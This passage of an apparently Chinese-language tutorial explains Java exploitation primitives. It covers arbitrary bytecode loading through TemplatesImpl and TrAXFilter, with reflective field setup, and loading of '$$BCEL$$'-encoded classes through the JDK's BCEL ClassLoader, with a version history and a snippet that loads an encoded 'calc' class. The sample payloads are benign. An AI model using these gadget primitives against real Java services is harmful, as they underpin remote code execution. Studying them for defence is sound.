CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

调用栈如下:

1
2
3
4
5
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)

提示

也就是说如果我们只要调用到上述调用栈中任意一个函数就可以实现任意字节码加载。

例如 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 的构造函数就可以调用参数 templatesnewTransformer 方法。

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer(); // 👈
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

如果我们构造的利用链能调用 TrAXFilter 的构造函数且参数可控就可以实现任意字节码加载:

1
2
3
4
5
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64)

整个调用过程大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
getOutputProperties()
└─→ newTransformer()
└─→ getTransletInstance()
├─[前置条件] _name != null,否则直接返回
├─ 若 _class == null → defineTransletClasses()
│ ├─ 构造 TransletClassLoader(doPrivileged)
│ ├─ 遍历 _bytecodes:
│ │ └─ loader.defineClass(byte[]) // 包可见便捷方法,内部调父类 protected defineClass(...)
│ ├─ 以父类是否为 AbstractTranslet 识别“主类”,记录 _transletIndex
│ └─ 异常处理(ClassFormatError/LinkageError → 包装为 TransformerConfigurationException)
├─ translet = (AbstractTranslet) _class[_transletIndex].newInstance()
// 此时触发:类初始化(<clinit>) → 构造器(<init>) 的顺序
├─ translet.postInitialization()/setTemplates(...) 等收尾
└─ 返回 translet
└─ 用 translet 构造 TransformerImpl
└─ TransformerImpl.getOutputProperties()

首先 getOutputProperties 函数中会调用 newTransformer 函数,然后在 newTransformer 函数中调用 getTransletInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
/**
* 实现 JAXP 的 Templates.getOutputProperties()。
*
* 语义:
* 返回与当前模板(TemplatesImpl)关联的“标准化输出属性”集合
* (例如 method、encoding、media-type、indent 等)。
*
* 实现要点:
* - XSLTC 的实现通过先创建一个 Transformer,再向其询问合并后的输出属性。
* - 在第一次调用的路径上,这个过程可能会触发 translet 的“惰性初始化”:
* newTransformer() → getTransletInstance() → defineTransletClasses()。
*
* 并发:
* - 方法被声明为 synchronized(与 newTransformer 同步),
* 以保证对内部缓存(_class/_auxClasses/_transletIndex 等)的惰性初始化是互斥和可见的。
*
* 返回值:
* - 成功返回一个 Properties 实例(是否为副本取决于具体实现,调用方不应依赖可变共享)。
* - 若创建 Transformer 过程出错,捕获 TransformerConfigurationException 并返回 null(实现约定)。
*
* @return 输出属性;出错时返回 null
*/
public synchronized Properties getOutputProperties() {
try {
// 📌 通过创建一个 Transformer 来获得其合并后的输出属性
// (内部可能触发首次的类定义与实例化,但不会执行实际转换)
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
// 出现配置/初始化错误时,按实现约定返回 null
return null;
}
}

/**
* 实现 JAXP 的 Templates.newTransformer()。
*
* 语义:
* 为当前模板创建并返回一个“新的、独立的” Transformer 实例。
* (JAXP 约定:Templates 是可复用/线程安全的工厂,Transformer 本身非线程安全,
* 因此每次调用都应返回一个新的实例。)
*
* 实现要点:
* - 通过 getTransletInstance() 获取主 translet 的新实例;
* 若是首次使用,内部会先将 _bytecodes 定义为 Class[] 并确定主类索引。
* - 将 translet、输出属性、缩进设置与工厂引用传入具体实现 TransformerImpl,
* 其余初始化细节在 TransformerImpl 内部完成。
*
* 并发:
* - 方法为 synchronized,确保与 defineTransletClasses()/getTransletInstance()
* 的惰性初始化互斥,避免并发下的重复定义或可见性问题。
*
* 异常:
* - 若 translet 定义/链接/实例化或 Transformer 构造过程出现问题,
* 统一抛出 TransformerConfigurationException。
*
* @throws TransformerConfigurationException 创建 Transformer 过程中发生错误
* @return 新创建的 Transformer 实例
*/
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

// 基于“主 translet 实例 + 输出属性 + 缩进设置 + 工厂”构造具体实现
transformer = new TransformerImpl(
getTransletInstance(), // 📌 可能触发首次类定义与主类实例化(惰性初始化)
_outputProperties, // 模板级输出属性(TransformerImpl 内部可能做合并/拷贝)
_indentNumber, // 输出缩进设置
_tfactory // 工厂引用(扩展函数/配置等环境信息)
);

// [...] 其余初始化与属性合并在 TransformerImpl 内部完成
return transformer;
}

因为我们给 TemplatesImpl_name 设置有值,因此会执行下面的 defineTransletClasses 来根据字节码数组 private byte[][] _bytecodes 中存放字节码依次调用的初始化 private Class[] _class,之后会将加载的下标为 _transletIndex 的类实例化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/**
* 从当前 TemplatesImpl 返回一个“主 translet 类”的全新实例。
* 该实例随后会被封装进 Transformer(见 newTransformer)。
*
* 关键点:
* 1) 惰性初始化:若尚未把 _bytecodes 定义为 Class[],会先调用 defineTransletClasses()。
* 2) 主类判定:defineTransletClasses() 会找出“父类为 AbstractTranslet”的那一个,记录到 _transletIndex。
* 3) 初始化顺序:调用 newInstance() 时,若该类首次被主动使用,先执行静态初始化块(<clinit>),随后执行构造器(<init>)。
* 4) 本方法实例化完主类后,通常还会做一些运行期收尾(注册模板、辅助类映射、后置初始化等),这些在下方以 [...] 占位。
*
* @throws TransformerConfigurationException 当定义/链接/实例化类出错时,会将底层异常包装为该异常抛出
* @return 新创建的 Translet 实例;若 _name 为空表示模板未就绪,按实现返回 null
*/
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
// 1) 快速返回:若模板名为空,视为未初始化状态(正常情况下 _name 不应为空)
if (_name == null) return null;

// 2) 惰性定义:首次使用时,把 _bytecodes 定义为 Class[] 并确定主类索引
if (_class == null) defineTransletClasses();

// 3) 实例化“主 translet 类”
// 说明:此处可能抛出 InstantiationException / IllegalAccessException
// 且在“首次主动使用”该类时会先触发类初始化(<clinit>),再执行构造器(<init>)。
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

// 4) 运行期收尾(不同版本实现略有差异):
// - 让 translet 知道自己来自哪个 Templates(如 setTemplates(this))
// - 注册/注入辅助类映射(_auxClasses),供运行期按需解析
// - 设置名称、输出相关属性、工厂/扩展函数环境等
// - 调用 translet 的后置初始化钩子(如 postInitialization())
// [...]

// 5) 返回新建的 translet 实例(供 newTransformer() 使用)
return translet;
}
// 6) 异常语义(实际代码里会有对应 catch 并统一包装为 TransformerConfigurationException):
// - ClassFormatError / LinkageError:字节码非法或链接期出错(重复定义、依赖缺失等)
// - InstantiationException / IllegalAccessException:反射实例化失败
// - 其余底层异常也会被包装为 TransformerConfigurationException 抛出
// catch (...) { throw new TransformerConfigurationException(..., e); }
}

defineTransletClasses() 做了三件事

  1. 在特权块里创建 TransletClassLoader
  2. 遍历 _bytecodes,调用 loader.defineClass(byte[]) 把字节码“喂进 JVM”;
  3. 之后调用 getSuperclass 获取加载的类的直接父类,并通过“父类名是否是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet”识别主类并记录 _transletIndex(其余放入 _auxClasses)。被识别为主类的类后续会被实例化。

defineTransletClasses 函数中使用 TransletClassLoader 加载类,也就是调用 defineClass 将字节码加载为类。之后调用 getSuperclass 获取加载的类的直接父类并判断父类的名称是否为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。如果是则设置 _transletIndex 为当前加载类的下标,也就以为着这个类要被实例化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
/**
* 所有 translet 类共同的父类名。
* TemplatesImpl 通过“谁的直接父类是它”来判定哪个是“主 translet 类”,
* 其余则视为辅助类(aux classes)。
*/
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

/**
* 将 _bytecodes[] 中的字节码逐个“定义”为 Class,并填充到 _class[];
* 同时识别并记录“主类”的下标 _transletIndex,剩余的放入 _auxClasses。
*
* 注意:
* 1) 本方法不返回 Class;它通过更新 _class/_auxClasses/_transletIndex 来完成初始化。
* 2) 这里只完成“定义(define)类”,不会在此处执行类的静态初始化块;类的初始化
* 通常在后续第一次主动使用(例如 newInstance())时触发。
* 3) 异常会被包装为 TransformerConfigurationException 抛出。
*/
private void defineTransletClasses() throws TransformerConfigurationException {

// 入口健壮性检查:没有任何字节码就无法定义类
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

// 在特权块中创建内部类加载器,指定合适的父类加载器。
// 说明:TransletClassLoader 是 TemplatesImpl 的静态内部类,继承自 ClassLoader。
// 它额外提供了一个 package-private 的 defineClass(byte[]) 便捷方法,
// 内部调用父类受保护的 defineClass(String, byte[], int, int)。
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
// 通过 ObjectFactory 选择父加载器;不同 JDK 版本可能还会携带
// _tfactory 的扩展映射作为构造参数(实现细节差异,不影响主流程)。
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});

try {
// 待定义的类的数量(通常包含主类 + 若干辅助类)
final int classCount = _bytecodes.length;

// 预分配类缓存数组,用于保存 define 后得到的 Class 对象
_class = new Class[classCount];

// 如果存在多个类,则准备辅助类容器(具体类型随版本可能为 Hashtable/HashMap)
if (classCount > 1) {
_auxClasses = new Hashtable(); // 一些实现中是 HashMap,语义一致:保存“非主类”
}

// 逐个把字节码定义为 Class
for (int i = 0; i < classCount; i++) {
// 关键调用:通过内部类加载器把一段字节码“喂”给 JVM 定义出一个 Class。
// 注意:这里调用的是 TransletClassLoader 的 package‑private 便捷方法,
// 最终仍会落到父类 ClassLoader#defineClass(...)。
_class[i] = loader.defineClass(_bytecodes[i]);

// 取出该类的直接父类,用于判定“主类”
final Class superClass = _class[i].getSuperclass();

// 如果父类名等于 ABSTRACT_TRANSLET(即为 XSLTC 的主 translet 类)
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
// 记录主类的索引(稍后将按该索引实例化)
_transletIndex = i;
} else {
// 否则作为辅助类缓存,供运行期按需查找
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

// 收尾校验:没有识别出主类则属于编译/装载状态异常
if (_transletIndex < 0) {
// 此处实际代码会构造对应错误信息并抛出配置异常
// (省略细节:不同版本对错误消息的处理略有差异)
// throw new TransformerConfigurationException(...);
}
}
// 典型异常:
// - ClassFormatError:字节码格式非法
// - LinkageError:链接期出错(重复定义、依赖缺失等)
// 代码会将这些底层错误包装为 TransformerConfigurationException 重新抛出。
// catch (...) { ... }
}

这就要求:

  • TemplatesImpl 中对加载的字节码对应的类必须
    com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

    public class HelloTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public HelloTemplatesImpl() {
    super();
    // 在这里编写代码
    System.out.println("Hello TemplatesImpl");
    }
    }
  • 或者我们可以设置 _transletIndex = 0(默认是 -1)来避免异常,同时设置 _auxClassesHashMap 放在调用 put 方法报错。

    1
    2
    setFieldValue(templates, "_transletIndex", 0);
    setFieldValue(templates, "_auxClasses", new HashMap<String, Object>());

    当然设置 _transletIndex = 0_bytecodes 为一项以上也行,这是因为当 _bytecodes.length > 1 的时候会初始化 _auxClasses

    1
    2
    3
    4
    5
    final int classCount = _bytecodes.length;

    if (classCount > 1) {
    _auxClasses = new Hashtable();
    }

另外对于高版本的 JDK,TransletClassLoader 的创建需要用到 _tfactory,因此需要将 _tfactory 设置为一个 TransformerFactoryImpl 实例。

1
2
3
4
5
6
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

BCEL ClassLoader

BCEL 的全名应该是 Apache Commons BCEL,属于 Apache Commons 项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 Java XML功能的 JAXP 规范的实现,所以 BCEL 也被包含在了 JDK 的原生库中。

BCEL 库提供了一系列用于分析、创建、修改 Java Class 文件的 API。相较 Commons Collections,BCEL 被包含在原生 JDK 中,更容易被利用。

BCEL 的版本变化时间线主要有两条:

  • 上游是 org.apache.bcel.*(Apache Commons BCEL)
  • JDK 里有一份重打包副本给 JAXP/XSLTC 用,包名是 com.sun.org.apache.bcel.internal.*(在 java.xml 里)。JDK 会按自身需求选择性裁剪并分批回移上游版本(BPR → 后续 GA 会吸纳),参见 Oracle 的 JDK 8 Update Release Notes 页面顶部说明“Fixes introduced on BPRs are added to later GA releases”。

上游 Apache Commons BCEL(org.apache.bcel.*)时间线:

  • 2007 年 8 月:提出兼容性老坑 **BCEL‑110**:使用 BCEL 的 ClassLoaderJAXB 会抛 LinkageError(类加载器约束冲突)。

  • 2015 年 7 月 26 日:为 6.0 做大版本筹备,创建任务 **BCEL‑222**(讨论是否更换包名/坐标,以规避不兼容;该任务最终在 2016‑06‑07 “Won’t Fix” 结题)。

  • 2015 年 8 月前后(6.0 筹备期):上游在 6.0 的发布说明里写明要“remove the broken ClassLoader class”,并把这条变更挂到 **BCEL‑110*;可在 RELEASE‑NOTES.txt 看到“Problem with JAXB… remove the broken ClassLoader class*”。

  • 2016 年 7 月 10 日6.0 正式发布(见 **Maven Central 6.0MavenRepository 6.0**)。

    注意:虽然发布说明写“remove”,但上游最终并未物理删除该类,而是保留并标记废弃——在 Javadoc 里可以看到 org.apache.bcel.util.ClassLoader 标注“Deprecated. 6.0 Do not use – does not work”(在 6.10.0 的包概览 也能看到)。

  • 后续上游版本:6.7.0(2022‑11‑28,见 changes‑report 与 **MavenRepository 6.7.0**),之后 6.8.x / 6.9.0 / 6.10.0(2024‑07‑13) 等;上述 Javadoc 的“保留但弃用”状态一直延续。

JDK 内置 BCEL(com.sun.org.apache.bcel.internal.*,在 java.xml)时间线:

这条线是上游的重打包副本,但并不等同于上游;JDK 会挑删一些它认为在 JDK 环境里“没必要/有问题”的 util 类,并按自己的节奏回移版本。

  • 2016 年 8 月 3 日:JDK 提出 JDK‑8163121上游 6.0 已发布,JDK 当前还是 5.2,应升级到 6.0

  • 2017 年 8 月 14 日(JDK 10 主线):落实 JDK‑8163121;在 JAXP 代码库里明确删除
    src/java.xml/share/classes/com/sun/org/apache/bcel/internal/util/ClassLoader.java(以及一批 util 类),提交号是 32af819a7f1c

  • 2020 年 4 月 14 日(JDK 8u251 GA)8u251 回移 JDK‑8163121 到 8u 线上,Oracle 的 8u251 Bug Fixes 列表 直接列出“[JDK‑8163121] BCEL: update to the latest 6.0 release”。

    自 8u251 起,JDK 8 的产物里看不到 com.sun.org.apache.bcel.internal.util.ClassLoader(以及同批 util 类);

    同期还有用户在 JDK‑8259663 报告“从 1.8.0_251 起缺失 ClassLoaderRepository”。

  • 2020–2022 的连续升级

    • 8u261(2020‑07):BCEL → 6.3.1(见 Oracle 的 8u261 bugfixes 列表 的“BCEL: update to version 6.3.1”);
    • 8u301(2021‑07):→ 6.4.1(见 JDK‑8235368 / 回移单 JDK‑8262512 标注 8u301);
    • 8u331(2022‑04):→ 6.5.0(见 **JDK‑8255035**)。
  • 2022 年 7 月(8u342):老清理项落地:**JDK‑8132256** / 回移单 JDK‑8283529,把 com.sun.org.apache.bcel.internal.util.ClassPath 这类在 JDK 场景里“基本无效”的代码移除ClassLoader 的删除不是同一改动)。

  • 2023 年 4 月(8u371 BPR):Oracle 的合并版 8u 发行说明列出 JDK‑8301269“Update Commons BCEL to Version 6.7.0”(把内置 BCEL 从 6.5.0 → 6.7.0)。

    因为上游 6.x 一直“保留但废弃” org.apache.bcel.util.ClassLoader(Javadoc 写明“Deprecated. 6.0 Do not use – does not work”),当 JDK 在 8u371 BPR 把内置 BCEL 升到 6.7.0 后(参见 JDK‑8301269),随着 BPR → 后续 GA 吸纳,后续版本就随上游形态把该类“带回来了”(包名是 com.sun.org.apache.bcel.internal.util.ClassLoader)。

BCEL ClassLoader 的 loadClass 实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
/**
* 按“多级回退”策略动态加载类:缓存 → 系统类 → 特殊标记 → 仓库 → 默认。
*
* <p>加载顺序简述:
* <ol>
* <li><b>缓存</b>:若已加载过(存在于 classes Map),直接返回。</li>
* <li><b>系统包</b>:若类名以某些前缀(如 "java."、"javax." 等)开头,则交给系统/父加载器处理。</li>
* <li><b>特殊请求</b>:若类名包含 "$$BCEL$$",调用 {@link #createClass(String)} 解析构建。</li>
* <li><b>仓库加载</b>:否则尝试从 repository(BCEL 的 ClassRepository 或自定义存储)读取并可按需修改。</li>
* <li><b>兜底</b>:若以上均失败,尝试 <code>Class.forName</code> 使用系统机制加载;再失败则抛出异常。</li>
* </ol>
*
* <p><b>解析 resolve</b>:若为 true,则在定义类后调用 <code>resolveClass</code> 触发链接过程(验证、准备、解析)。</p>
*
* <p><b>线程安全</b>:示例中对缓存 Map 的访问未加锁,若在多线程环境中共享 ClassLoader,
* 建议改用 ConcurrentHashMap 或在关键路径加锁。</p>
*
* @param class_name 需要加载的类名;若包含 "$$BCEL$$" 则视为内嵌了编码字节码
* @param resolve 是否在定义后立即解析(link)
* @return 成功加载并(可选)解析的 Class 对象
* @throws ClassNotFoundException 当无法通过任何途径获取字节码或定义类时抛出
*/
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;

/* 第一层:从本地缓存(classes Map)中查找,避免重复定义与 I/O。 */
if ((cl = (Class) classes.get(class_name)) == null) {

/* 第二层:系统类/受忽略包前缀。通常不要干预 JDK/系统类的加载流程。 */
for (int i = 0; i < ignored_packages.length; i++) {
// 若类名以任一“忽略前缀”开头(如 "java.", "javax.", "sun.", "jdk." 等)
if (class_name.startsWith(ignored_packages[i])) {
// 直接委派给父加载器(deferTo),保持与标准加载行为一致。
cl = deferTo.loadClass(class_name);
break;
}
}

if (cl == null) {
JavaClass clazz = null;

/* 第三层:特殊请求(类名中携带 "$$BCEL$$" 标记)。 */
if (class_name.indexOf("$$BCEL$$") >= 0) {
// 解析并构建 BCEL 的 JavaClass(可能返回 null,表示解析失败)
clazz = createClass(class_name);
} else {
/* 第四层:尝试通过 repository 读取普通类定义。 */
if ((clazz = repository.loadClass(class_name)) != null) {
// 有机会在定义前注入/修改字节码(如插桩);由业务方实现 modifyClass(...)
clazz = modifyClass(clazz);
} else {
// repository 中也没有,宣告找不到该类
throw new ClassNotFoundException(class_name);
}
}

if (clazz != null) {
// 5) 将 JavaClass 物化为原始字节数组(.class 格式)
byte[] bytes = clazz.getBytes();

// 6) 调用 ClassLoader 的 defineClass(...) 把字节码定义为 JVM 中的类。
// 注意:该重载未显式传入 ProtectionDomain,默认继承当前 ClassLoader 的域。
// 若需更细粒度权限控制,建议使用带 ProtectionDomain 的重载。
cl = defineClass(class_name, bytes, 0, bytes.length);
} else {
// 7) 当 clazz == null(例如 createClass 解析失败)时,尝试走标准反射加载。
// 这一步通常只在类名本来就是常规形式(无 "$$BCEL$$")时才有意义。
cl = Class.forName(class_name);
}
}

// 8) 根据调用方要求决定是否立即解析(链接)。
if (resolve) {
resolveClass(cl);
}
}

// 9) 记入缓存,后续重复请求可直接复用,避免再定义(重复定义会触发 LinkageError)。
classes.put(class_name, cl);

// 10) 返回最终的 Class 对象。
return cl;
}


/**
* 基于类名中的特殊标记 "$$BCEL$$" 动态创建 JavaClass。
*
* <p>工作原理:
* <ol>
* <li>调用方传入一个包含 "$$BCEL$$" 的字符串(通常形式:<code>任意包路径$$BCEL$$<压缩编码字节码></code>)。</li>
* <li>标记之前的部分被视为包名,标记之后的部分是通过 BCEL 的 Utility.encode() 之类方法编码过的压缩字节码。</li>
* <li>本方法对标记后的那段字符串执行 <code>Utility.decode(...)</code> 解码得到原始字节数组,随后用 BCEL 的 <code>ClassParser</code> 解析为 <code>JavaClass</code>。</li>
* <li>为保证类的“内部名”(constant pool 里的 this_class)与传入的类名一致,这里会直接修改常量池中的 UTF-8 常量。</li>
* </ol>
*
* <p><b>安全注意</b>:从不受信任来源接收的 <code>class_name</code> 可能导致任意类加载与执行。
* 请在调用前进行来源校验与权限隔离。</p>
*
* @param class_name 包含 "$$BCEL$$" 的压缩字节码字符串(格式:包名 + "$$BCEL$$" + 编码数据)
* @return 解析得到的 JavaClass;若解析失败或发生异常返回 null
*/
protected JavaClass createClass(String class_name) {
// 1) 定位特殊标记 "$$BCEL$$" 的位置。
// 假设调用方已保证一定包含该标记;若存在恶意/脏数据,这里可能返回 -1。
int index = class_name.indexOf("$$BCEL$$");

// 2) 截取标记之后的内容,作为编码后的“压缩字节码”部分。
// 例如 "com.acme.MyClass$$BCEL$$<ENCODED>" -> real_name = "<ENCODED>"
String real_name = class_name.substring(index + 8);

JavaClass clazz = null;
try {
// 3) 使用 BCEL 的工具类将字符串解码为原始字节数组。
// 第二个参数 'true' 通常表示使用 gzip/zip 之类的“压缩+编码”组合(视 Utility 实现)。
byte[] bytes = Utility.decode(real_name, true);

// 4) 将字节数组包装成输入流交给 ClassParser。
// 第二个参数 "foo" 是一个虚拟的源名(非必须真实文件名),用于错误信息或调试。
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

// 5) 解析字节数组,得到 BCEL 的 JavaClass 抽象表示(尚未定义到 JVM)。
clazz = parser.parse();
} catch (Throwable e) {
// 捕获所有 Throwable 以避免 ClassLoader 链路崩溃,但这也可能吞掉严重错误(见建议)。
e.printStackTrace();
return null; // 解析失败则返回 null,交由上层逻辑处理。
}

// 6) 为确保“类的内部名”(constant pool 中的 this_class)与外部传入的 class_name 保持一致,
// 需要修改常量池中的 UTF-8 常量(将内部名更新为用 '/' 分隔的内部表示)。
ConstantPool cp = clazz.getConstantPool();

// 6.1) 取出指向 this_class 的 ConstantClass 条目。
ConstantClass cl = (ConstantClass) cp.getConstant(clazz.getClassNameIndex(),
Constants.CONSTANT_Class);
// 6.2) 根据 ConstantClass 的 name_index 再取到真正存放类名字节的 ConstantUtf8。
ConstantUtf8 name = (ConstantUtf8) cp.getConstant(cl.getNameIndex(),
Constants.CONSTANT_Utf8);

// 6.3) 替换内部名:Java 字节码中的内部名用 '/' 分隔包路径。
// 例如 "com.acme.Foo" -> "com/acme/Foo"
name.setBytes(class_name.replace('.', '/'));

// 7) 返回解析并完成内部名适配后的 JavaClass。
return clazz;
}

从中可以看出 BCEL ClassLoader 加载字节码的过程为:

  1. 查找已加载的类:首先,系统会通过哈希表 classes 在本地缓存中查找目标类是否已经加载。如果找到了,直接返回已加载的类。

    1
    2
    3
    if ((cl = (Class) classes.get(class_name)) == null) {
    // 如果未找到,则继续尝试其他加载方式
    }
  2. 通过系统类加载器加载类:如果目标类不在缓存中,系统会使用默认的 系统类加载器 来加载类。这是 Java 中常见的类加载方式,适用于类在常规类路径中存在的情况。

    这部分的代码通过检查类名是否属于被忽略的包(ignored_packages)来决定是否需要使用默认的类加载器。

    1
    2
    3
    4
    5
    6
    for (int i = 0; i < ignored_packages.length; i++) {
    if (class_name.startsWith(ignored_packages[i])) {
    cl = deferTo.loadClass(class_name); // 使用系统类加载器加载
    break;
    }
    }
  3. 处理包含 $$BCEL$$ 标记的类名:如果类名包含特殊标记 $$BCEL$$,这意味着该类的字节码是经过特殊编码或压缩的。系统会调用 createClass 方法来解码并生成该类的字节码。

    1
    2
    3
    if (class_name.indexOf("$$BCEL$$") >= 0) {
    clazz = createClass(class_name); // 使用 createClass 方法加载字节码
    }

    createClass 解码该类的字节码的具体过程为:

    1. 查找 $$BCEL$$ 标记:首先,createClass 方法检查类名中是否包含 $$BCEL$$ 标记,并从中提取出实际的类名。
      • class_name.indexOf("$$BCEL$$"):查找 $$BCEL$$ 的位置。
      • class_name.substring(index + 8):从 $$BCEL$$ 后面开始获取实际的类名部分。
    2. 解码字节码:接下来,real_name(即去掉 $$BCEL$$ 后的部分)被传递给 Utility.decode(real_name, true) 方法解码出真正的字节码。注意这里第二个参数为 true,这意味着字节码在解码后还要进行 GZIP 解压缩。
    3. 解析字节码:解码后的字节数组 bytes 会被传递给 ClassParser 来解析。ClassParser 是 BCEL 提供的一个工具类,用于解析字节数组并生成 JavaClass 对象。JavaClass 对象包含了类的字节码、常量池、方法、字段等信息。
    4. 更新类名:一旦 JavaClass 对象被成功创建,就需要更新类名。JavaClass 对象包含了一个 常量池(ConstantPool),用于存储类的常量信息。
      • 在常量池中,有一个表示类名的常量(ConstantClass)。通过 getConstant(clazz.getClassNameIndex(), Constants.CONSTANT_Class) 获取类名常量。
      • 然后,我们通过 ConstantUtf8 获取类名的具体字符串表示,并将其替换为传入的完整类名 class_name.replace('.', '/')(将 . 转换为 /)。
      • name.setBytes(class_name.replace('.', '/'));:更新常量池中的类名。
    5. 返回解析后的 JavaClass 对象:最后,返回通过 ClassParser 解析后的 JavaClass 对象,它包含了该类的字节码和其他相关信息。
  4. 定义类并返回:找到字节码后,defineClass 方法会被调用来将字节码转化为 Class 对象。这个方法会根据字节数组定义一个新的类,最终将其加载到 JVM 中。如果通过 repository 或其他方式加载的类已经存在,系统将跳过定义过程,直接返回 Class 对象。

    1
    2
    byte[] bytes = clazz.getBytes();  // 获取字节码
    cl = defineClass(class_name, bytes, 0, bytes.length); // 定义并加载类
  5. 缓存类:最后,加载的类被缓存到 classes 哈希表中,以便下次能够快速访问。

    1
    classes.put(class_name, cl);  // 缓存已加载的类

根据上述过程我们可以使用如下代码利用 BCEL ClassLoader 动态加载字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;

public class BCELExample {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
// 1. 使用 BCEL 的 Repository 工具加载一个已有的类对象(这里假设有 calc.class)
// Repository.lookupClass 会把 Class 对象转为 BCEL 的 JavaClass 表示
JavaClass javaClass = Repository.lookupClass(calc.class);

// 2. 把 JavaClass 转换为字节码数组,再用 Utility.encode() 编码成字符串
// 这个字符串就是 $$BCEL$$ 开头的特殊形式,可以被 BCEL 的 ClassLoader 解析还原为字节码
String code = Utility.encode(javaClass.getBytes(), true);

// 3. 用 BCEL 提供的自定义 ClassLoader 来加载类
// "$$BCEL$$" + code 的字符串会被识别为一个“内联字节码类”,直接还原并 define 成 Class
// 注意:这里可以用 Class.forName 也可以用 new ClassLoader().loadClass()
// Class<?> aClass = Class.forName("$$BCEL$$" + code, true, new ClassLoader());
Class<?> aClass = new ClassLoader().loadClass("$$BCEL$$" + code);

